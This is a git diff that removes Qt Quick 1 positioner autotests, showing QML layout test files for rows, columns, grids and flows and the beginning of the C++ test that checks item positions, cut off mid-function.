b/tests/auto/qtquick1/qdeclarativepositioners/data/flowtest.qml deleted file mode 100644 index 7c124a3d44..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/flowtest.qml +++ /dev/null @@ -1,43 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 90 - height: 480 - property bool testRightToLeft: false - - Flow { - objectName: "flow" - width: parent.width - layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "green" - width: 20 - height: 50 - } - Rectangle { - objectName: "three" - color: "blue" - width: 50 - height: 20 - } - Rectangle { - objectName: "four" - color: "cyan" - width: 50 - height: 50 - } - Rectangle { - objectName: "five" - color: "magenta" - width: 10 - height: 10 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/grid-animated.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/grid-animated.qml deleted file mode 100644 index 3dcbed1103..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/grid-animated.qml +++ /dev/null @@ -1,64 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 640 - height: 480 - property bool testRightToLeft: true - - Grid { - objectName: "grid" - columns: 3 - layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight - add: Transition { - NumberAnimation { - properties: "x,y"; - } - } - move: Transition { - NumberAnimation { - properties: "x,y"; - } - } - Rectangle { - objectName: "one" - color: "red" - x: -100 - y: -100 - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - x: -100 - y: -100 - opacity: 0 - color: "green" - width: 50 - height: 50 - } - Rectangle { - objectName: "three" - color: "blue" - x: -100 - y: -100 - width: 50 - height: 50 - } - Rectangle { - objectName: "four" - color: "cyan" - x: -100 - y: -100 - width: 50 - height: 50 - } - Rectangle { - objectName: "five" - color: "magenta" - x: -100 - y: -100 - width: 50 - height: 50 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/grid-spacing.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/grid-spacing.qml deleted file mode 100644 index f03733001b..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/grid-spacing.qml +++ /dev/null @@ -1,41 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Grid { - objectName: "grid" - columns: 3 - spacing: 4 - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "green" - width: 20 - height: 50 - } - Rectangle { - objectName: "three" - color: "blue" - width: 50 - height: 20 - } - Rectangle { - objectName: "four" - color: "cyan" - width: 50 - height: 50 - } - Rectangle { - objectName: "five" - color: "magenta" - width: 10 - height: 10 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/grid-toptobottom.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/grid-toptobottom.qml deleted file mode 100644 index 5d4c3373e5..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/grid-toptobottom.qml +++ /dev/null @@ -1,41 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Grid { - objectName: "grid" - rows: 3 - flow: Grid.TopToBottom - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "green" - width: 20 - height: 50 - } - Rectangle { - objectName: "three" - color: "blue" - width: 50 - height: 20 - } - Rectangle { - objectName: "four" - color: "cyan" - width: 50 - height: 50 - } - Rectangle { - objectName: "five" - color: "magenta" - width: 10 - height: 10 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/gridtest.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/gridtest.qml deleted file mode 100644 index 929b7267cf..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/gridtest.qml +++ /dev/null @@ -1,42 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 640 - height: 480 - property bool testRightToLeft: false - Grid { - layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight - objectName: "grid" - columns: 3 - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "green" - width: 20 - height: 50 - } - Rectangle { - objectName: "three" - color: "blue" - width: 30 - height: 20 - } - Rectangle { - objectName: "four" - color: "cyan" - width: 50 - height: 50 - } - Rectangle { - objectName: "five" - color: "magenta" - width: 10 - height: 10 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/gridzerocolumns.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/gridzerocolumns.qml deleted file mode 100644 index 169f974477..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/gridzerocolumns.qml +++ /dev/null @@ -1,40 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Grid { - objectName: "grid" - columns: 0 - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "green" - width: 20 - height: 50 - } - Rectangle { - objectName: "three" - color: "blue" - width: 50 - height: 20 - } - Rectangle { - objectName: "four" - color: "cyan" - width: 50 - height: 50 - } - Rectangle { - objectName: "five" - color: "magenta" - width: 10 - height: 10 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal-animated.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal-animated.qml deleted file mode 100644 index 3c95f53fe7..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal-animated.qml +++ /dev/null @@ -1,44 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 640 - height: 480 - property bool testRightToLeft: false - - Row { - objectName: "row" - layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight - add: Transition { - NumberAnimation { - properties: "x"; - } - } - move: Transition { - NumberAnimation { - properties: "x"; - } - } - Rectangle { - objectName: "one" - color: "red" - x: -100; - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "blue" - x: -100; - opacity: 0 - width: 50 - height: 50 - } - Rectangle { - objectName: "three" - x: -100; - color: "green" - width: 50 - height: 50 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal-spacing.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal-spacing.qml deleted file mode 100644 index 64bedb02d3..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal-spacing.qml +++ /dev/null @@ -1,31 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 640 - height: 480 - property bool testRightToLeft: false - - Row { - objectName: "row" - spacing: 10 - layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "red" - width: 20 - height: 10 - } - Rectangle { - objectName: "three" - color: "red" - width: 40 - height: 20 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal.qml deleted file mode 100644 index d35c02d538..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/horizontal.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 640 - height: 480 - property bool testRightToLeft: false - Row { - objectName: "row" - layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "red" - width: 20 - height: 10 - } - Rectangle { - objectName: "three" - color: "red" - width: 40 - height: 20 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/propertychangestest.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/propertychangestest.qml deleted file mode 100644 index 3c95c4c279..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/propertychangestest.qml +++ /dev/null @@ -1,39 +0,0 @@ -import QtQuick 1.0 - -Grid { - id: myGrid - - width: 270 - height: 270 - x: 3 - y: 3 - columns: 4 - spacing: 3 - - add: columnTransition - move: columnTransition - - Repeater { - model: 20 - Rectangle { color: "black"; width: 50; height: 50 } - } - - data: [ - Transition { - id: rowTransition - objectName: "rowTransition" - NumberAnimation { - properties: "x,y"; - easing.type: "OutInCubic" - } - }, - Transition { - id: columnTransition - objectName: "columnTransition" - NumberAnimation { - properties: "x,y"; - easing.type: "OutInCubic" - } - } - ] -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/repeatertest.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/repeatertest.qml deleted file mode 100644 index f93ce67da3..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/repeatertest.qml +++ /dev/null @@ -1,38 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Row { - Repeater{ model: 3; - delegate: Component { - Rectangle { - color: "red" - width: 50 - height: 50 - z: {if(index == 0){2;}else if(index == 1){1;} else{3;}} - objectName: {if(index == 0){"one";}else if(index == 1){"two";} else{"three";}} - } - } - } - } - - //This crashed once (QTBUG-16959) because the repeater ended up on the end of the list - //If this grid just instantiates without crashing, then it has not regressed. - Grid { - id: grid - rows: 2 - flow: Grid.TopToBottom - - Repeater { - model: 13 - Rectangle { - color: "goldenrod" - width: 100 - height: 100 - radius: 10 - border.width: 1 - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/vertical-animated.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/vertical-animated.qml deleted file mode 100644 index 8899ac83cc..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/vertical-animated.qml +++ /dev/null @@ -1,41 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Column { - objectName: "column" - add: Transition { - NumberAnimation { - properties: "y"; - } - } - move: Transition { - NumberAnimation { - properties: "y"; - } - } - Rectangle { - objectName: "one" - color: "red" - y: -100 - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "blue" - y: -100 - opacity: 0 - width: 50 - height: 50 - } - Rectangle { - objectName: "three" - color: "red" - y: -100 - width: 50 - height: 50 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/vertical-spacing.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/vertical-spacing.qml deleted file mode 100644 index 557896115d..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/vertical-spacing.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Column { - objectName: "column" - spacing: 10 - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "red" - width: 20 - height: 10 - } - Rectangle { - objectName: "three" - color: "red" - width: 40 - height: 20 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/vertical.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/vertical.qml deleted file mode 100644 index 310d791d55..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/vertical.qml +++ /dev/null @@ -1,27 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Column { - objectName: "column" - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "red" - width: 20 - height: 10 - } - Rectangle { - objectName: "three" - color: "red" - width: 40 - height: 20 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/verticalqgraphicswidget.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/verticalqgraphicswidget.qml deleted file mode 100644 index c320714f15..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/verticalqgraphicswidget.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - Column { - objectName: "column" - QGraphicsWidget { - objectName: "one" - width: 50 - height: 50 - } - QGraphicsWidget { - objectName: "two" - width: 20 - height: 10 - } - QGraphicsWidget { - objectName: "three" - width: 40 - height: 20 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/qdeclarativepositioners.pro b/tests/auto/qtquick1/qdeclarativepositioners/qdeclarativepositioners.pro deleted file mode 100644 index 2844c51232..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/qdeclarativepositioners.pro +++ /dev/null @@ -1,10 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativepositioners -SOURCES += tst_qdeclarativepositioners.cpp -macx:CONFIG -= app_bundle - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/qtquick1/qdeclarativepositioners/tst_qdeclarativepositioners.cpp deleted file mode 100644 index 97859f82fc..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/tst_qdeclarativepositioners.cpp +++ /dev/null @@ -1,1349 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_QDeclarativePositioners : public QObject -{ - Q_OBJECT -public: - tst_QDeclarativePositioners(); - -private slots: - void test_horizontal(); - void test_horizontal_rtl(); - void test_horizontal_spacing(); - void test_horizontal_spacing_rightToLeft(); - void test_horizontal_animated(); - void test_horizontal_animated_rightToLeft(); - void test_vertical(); - void test_vertical_spacing(); - void test_vertical_animated(); - void test_grid(); - void test_grid_topToBottom(); - void test_grid_rightToLeft(); - void test_grid_spacing(); - void test_grid_animated(); - void test_grid_animated_rightToLeft(); - void test_grid_zero_columns(); - void test_propertychanges(); - void test_repeater(); - void test_flow(); - void test_flow_rightToLeft(); - void test_flow_topToBottom(); - void test_flow_resize(); - void test_flow_resize_rightToLeft(); - void test_flow_implicit_resize(); - void test_conflictinganchors(); - void test_vertical_qgraphicswidget(); - void test_mirroring(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); -private: - QDeclarativeView *createView(const QString &filename); -}; - -tst_QDeclarativePositioners::tst_QDeclarativePositioners() -{ -} - -void tst_QDeclarativePositioners::test_horizontal() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", false); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 70.0); - QCOMPARE(three->y(), 0.0); - - QDeclarativeItem *row = canvas->rootObject()->findChild("row"); - QCOMPARE(row->width(), 110.0); - QCOMPARE(row->height(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_horizontal_rtl() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", true); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 60.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 40.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 0.0); - - QDeclarativeItem *row = canvas->rootObject()->findChild("row"); - QCOMPARE(row->width(), 110.0); - QCOMPARE(row->height(), 50.0); - - // Change the width of the row and check that items stay to the right - row->setWidth(200); - QCOMPARE(one->x(), 150.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 130.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 90.0); - QCOMPARE(three->y(), 0.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_horizontal_spacing() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", false); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 60.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 90.0); - QCOMPARE(three->y(), 0.0); - - QDeclarativeItem *row = canvas->rootObject()->findChild("row"); - QCOMPARE(row->width(), 130.0); - QCOMPARE(row->height(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_horizontal_spacing_rightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", true); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 80.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 00.0); - QCOMPARE(three->y(), 0.0); - - QDeclarativeItem *row = canvas->rootObject()->findChild("row"); - QCOMPARE(row->width(), 130.0); - QCOMPARE(row->height(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_horizontal_animated() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", false); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - //Note that they animate in - QCOMPARE(one->x(), -100.0); - QCOMPARE(two->x(), -100.0); - QCOMPARE(three->x(), -100.0); - - QDeclarativeItem *row = canvas->rootObject()->findChild("row"); - QVERIFY(row); - QCOMPARE(row->width(), 100.0); - QCOMPARE(row->height(), 50.0); - - //QTRY_COMPARE used instead of waiting for the expected time of animation completion - //Note that this means the duration of the animation is NOT tested - - QTRY_COMPARE(one->x(), 0.0); - QTRY_COMPARE(one->y(), 0.0); - QTRY_COMPARE(two->opacity(), 0.0); - QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet - QTRY_COMPARE(two->y(), 0.0); - QTRY_COMPARE(three->x(), 50.0); - QTRY_COMPARE(three->y(), 0.0); - - //Add 'two' - two->setOpacity(1.0); - QCOMPARE(two->opacity(), 1.0); - - // New size should be immediate - QCOMPARE(row->width(), 150.0); - QCOMPARE(row->height(), 50.0); - - QTest::qWait(0);//Let the animation start - QCOMPARE(two->x(), -100.0); - QCOMPARE(three->x(), 50.0); - - QTRY_COMPARE(two->x(), 50.0); - QTRY_COMPARE(three->x(), 100.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_horizontal_animated_rightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", true); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - //Note that they animate in - QCOMPARE(one->x(), -100.0); - QCOMPARE(two->x(), -100.0); - QCOMPARE(three->x(), -100.0); - - QDeclarativeItem *row = canvas->rootObject()->findChild("row"); - QVERIFY(row); - QCOMPARE(row->width(), 100.0); - QCOMPARE(row->height(), 50.0); - - //QTRY_COMPARE used instead of waiting for the expected time of animation completion - //Note that this means the duration of the animation is NOT tested - - QTRY_COMPARE(one->x(), 50.0); - QTRY_COMPARE(one->y(), 0.0); - QTRY_COMPARE(two->opacity(), 0.0); - QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet - QTRY_COMPARE(two->y(), 0.0); - QTRY_COMPARE(three->x(), 0.0); - QTRY_COMPARE(three->y(), 0.0); - - //Add 'two' - two->setOpacity(1.0); - QCOMPARE(two->opacity(), 1.0); - - // New size should be immediate - QCOMPARE(row->width(), 150.0); - QCOMPARE(row->height(), 50.0); - - QTest::qWait(0);//Let the animation start - QCOMPARE(one->x(), 50.0); - QCOMPARE(two->x(), -100.0); - - QTRY_COMPARE(one->x(), 100.0); - QTRY_COMPARE(two->x(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_vertical() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/vertical.qml"); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 0.0); - QCOMPARE(two->y(), 50.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 60.0); - - QDeclarativeItem *column = canvas->rootObject()->findChild("column"); - QVERIFY(column); - QCOMPARE(column->height(), 80.0); - QCOMPARE(column->width(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_vertical_spacing() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/vertical-spacing.qml"); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 0.0); - QCOMPARE(two->y(), 60.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 80.0); - - QDeclarativeItem *column = canvas->rootObject()->findChild("column"); - QCOMPARE(column->height(), 100.0); - QCOMPARE(column->width(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_vertical_animated() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/vertical-animated.qml"); - - //Note that they animate in - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QCOMPARE(one->y(), -100.0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QCOMPARE(two->y(), -100.0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QCOMPARE(three->y(), -100.0); - - QDeclarativeItem *column = canvas->rootObject()->findChild("column"); - QVERIFY(column); - QCOMPARE(column->height(), 100.0); - QCOMPARE(column->width(), 50.0); - - //QTRY_COMPARE used instead of waiting for the expected time of animation completion - //Note that this means the duration of the animation is NOT tested - - QTRY_COMPARE(one->y(), 0.0); - QTRY_COMPARE(one->x(), 0.0); - QTRY_COMPARE(two->opacity(), 0.0); - QTRY_COMPARE(two->y(), -100.0);//Not 'in' yet - QTRY_COMPARE(two->x(), 0.0); - QTRY_COMPARE(three->y(), 50.0); - QTRY_COMPARE(three->x(), 0.0); - - //Add 'two' - two->setOpacity(1.0); - QTRY_COMPARE(two->opacity(), 1.0); - QCOMPARE(column->height(), 150.0); - QCOMPARE(column->width(), 50.0); - QTest::qWait(0);//Let the animation start - QCOMPARE(two->y(), -100.0); - QCOMPARE(three->y(), 50.0); - - QTRY_COMPARE(two->y(), 50.0); - QTRY_COMPARE(three->y(), 100.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_grid() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/gridtest.qml"); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 70.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 0.0); - QCOMPARE(four->y(), 50.0); - QCOMPARE(five->x(), 50.0); - QCOMPARE(five->y(), 50.0); - - QDeclarative1Grid *grid = canvas->rootObject()->findChild("grid"); - QCOMPARE(grid->flow(), QDeclarative1Grid::LeftToRight); - QCOMPARE(grid->width(), 100.0); - QCOMPARE(grid->height(), 100.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_grid_topToBottom() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/grid-toptobottom.qml"); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 0.0); - QCOMPARE(two->y(), 50.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 100.0); - QCOMPARE(four->x(), 50.0); - QCOMPARE(four->y(), 0.0); - QCOMPARE(five->x(), 50.0); - QCOMPARE(five->y(), 50.0); - - QDeclarative1Grid *grid = canvas->rootObject()->findChild("grid"); - QCOMPARE(grid->flow(), QDeclarative1Grid::TopToBottom); - QCOMPARE(grid->width(), 100.0); - QCOMPARE(grid->height(), 120.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_grid_rightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/gridtest.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", true); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 50.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 30.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 50.0); - QCOMPARE(four->y(), 50.0); - QCOMPARE(five->x(), 40.0); - QCOMPARE(five->y(), 50.0); - - QDeclarative1Grid *grid = canvas->rootObject()->findChild("grid"); - QCOMPARE(grid->layoutDirection(), Qt::RightToLeft); - QCOMPARE(grid->width(), 100.0); - QCOMPARE(grid->height(), 100.0); - - // Change the width of the grid and check that items stay to the right - grid->setWidth(200); - QCOMPARE(one->x(), 150.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 130.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 100.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 150.0); - QCOMPARE(four->y(), 50.0); - QCOMPARE(five->x(), 140.0); - QCOMPARE(five->y(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_grid_spacing() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/grid-spacing.qml"); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - 